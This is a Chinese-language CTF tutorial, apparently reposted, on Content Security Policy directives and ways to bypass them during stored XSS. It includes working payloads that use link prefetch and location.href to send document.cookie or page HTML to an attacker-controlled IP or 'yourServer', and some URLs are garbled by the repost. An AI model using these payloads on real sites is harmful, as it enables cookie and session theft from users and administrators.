首页 > 代码库 > CSP学习和绕过
CSP学习和绕过
CSP学习和绕过
一、CSP学习
内容安全策略(CSP)是一种用于部分解决XSS问题的浏览器安全机制,通过 CSP 所约束的的规责指定可信的内容来源(这里的内容可以指脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中,目前 CSP 已经到了 3.0 阶段。现代浏览器目前都可以通过获取 Header 头来进行 CSP 配置:
<?php
header("Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘ ");
?>
类似这样,这条语句允许加载内联脚本,但是不允许加载外部资源。CSP有许多指令,这是指令参考:
这是指令值的参考:
这里先说说我自己遇到过与XSS相关的script-src:,该指令用于JavaScript的加载策略。通过测试进行说明:
1、Content-Security-Policy: default-src ‘self‘; script-src ‘self‘
这种情况只允许加载同源资源,内联脚本(inline script)都不允许执行,这是测试代码:
<?php
header("Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>xss test</title>
<!-- <link rel="prefetch" href="http://23.105.193.119/xss/?a=[cookie]"> -->
</head>
<body>
<!-- <script src="http://23.105.193.119/xss/?a=[cookie]"></script> -->
<script>alert(‘a‘);</script>
<!-- <script src="http://localhost/1.js"> </script> -->
</body>
</html>
内联脚本调用alert弹窗无反应,控制台报错:
将这段内联脚本注释,调用同源的脚本:
<script src="http://localhost/1.js"> </script>
可以弹窗,说明加载成功。
2、Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
这段指令允许加载内联脚本,允许加载内联资源,不允许加载外域资源。
经过测试,内联脚本弹窗可以执行。
当想要访问外域资源的时候:
<script src="http://23.105.193.119/xss/?a=[cookie]"></script>
报错:
3、"Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘ 23.105.193.119"
这是我将自己vps的IP加了进去,现在就单独跨域访问我的vps资源了。经过测试,成功访问。
二、CSP 绕过
这里设想一种存储型XSS漏洞的场景,攻击者提交带有攻击代码到管理员,管理员页面存在存储型XSS漏洞。假设管理员页面配置了script-src的一些策略,加下来讨论一下这些策略的绕过方法。其实策略的关键所在是unsafe-inline
。所以这里讨论以下两种策略:
1、default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
2、default-src ‘self‘; script-src ‘self‘
1、default-src ‘self‘; script-src ‘self‘ ‘unsafe-inline‘
对于这一种情况,可以执行内联脚本,但是不允许跨域访问。所以脚本执行的问题解决了,需要考虑就是怎么将用脚本获取的重要信息(类似cookie等)发出去?
这里先说一下预加载机制(Link prefetch),的是让浏览器在空闲时间下载或预读取一些文档资源,用户在将来将会访问这些资源,提高浏览器速度。
这里又可以分为::DNS-prefetch(DNS预解析)、subresource(对特定文件类型进行预加载) 和标准的 prefetch、preconnect、prerender 。这里只说一下自己做题遇到过的标准的prefetch。其他的以后遇到再补充。
其使用方式类似这样:
<link rel="prefetch" href="http://23.105.193.119/xss/?a=[cookie]">
这种机制的策略并没有考虑预加载的情况,通过查阅一些资料,我了解到:
数据泄漏问题从来都不是CSP项目的主要考虑因素,设计这个功能的目的主要是为了防止跨站脚本攻击(XSS)。
OK,说道这里就通过说说怎么传数据了。思路就是通过执行内联的Javascript创建一个link节点,设置rel = prefetch ,href = http://www.mamicode.com/攻击者服务器。
由于在 Chrome 中,CSP 的规范执行是较低于 Firefox 的,所以这些测试都是基于Chrome
的,而且较为新版的Chrome。这是payload:
<script>
var head = document.getElementsByTagName("head")[0]
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://yourServer/?a=" + document.cookie);
head.appendChild(n0t);
</script>
在CTF中,这种XSS题比较多。比如2016年的HCTF(guestbook),最后的payload是这样的:
<scrscriptipt>
var head = document.getElementsByTagName("head")[0]
var n0t = document.createElement("lilinknk");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://yourServer/?" + window.btoa(String(document.getElementsByTagName("html")[0].innerHTML)).substring(800,1300));
head.appendChild(n0t);
</scrscriptipt>
双写是为了绕过关键词删除过滤,最后flag在admin页面的源码中。
2、default-src ‘self‘; script-src ‘self‘
这种情况联内联脚本都不能执行,也不能加载类似style的一些内联资源,只能加载同域资源,这样设置的很少,非常影响网站的正常功能。这种情况连内联脚本都无法执行,基本无解(有大佬有解的话,请指点我)。但是在某些特定条件下是可以的,比如我遇到这题:
题目就是我说的那种存储型XSS情况,但是设置的CSP是这样的:
就是我说的这种情况。这里的处理很巧妙,首先提交这个payload:
//<link rel="prefetch" href="http://23.105.193.119/xss/">;
location.href=‘http://23.105.193.119/xss/?a=‘+escape(document.cookie);
没有<script>标签,只会被当成HTML处理,结果就是预加载访问XSS平台。这里有在refer中有admin的页面。然后再次提交:
<script src=‘http://39.108.192.25:5004/4dmIn.php?id=54397b5ef0421197b053e7bce57eb50a‘></script>
这样加载了同域的资源,执行location.href=http://www.mamicode.com/‘http://23.105.193.119/xss/?a=‘+escape(document.cookie), 将cookie发了出去
这题类似二次注入。
CSP学习和绕过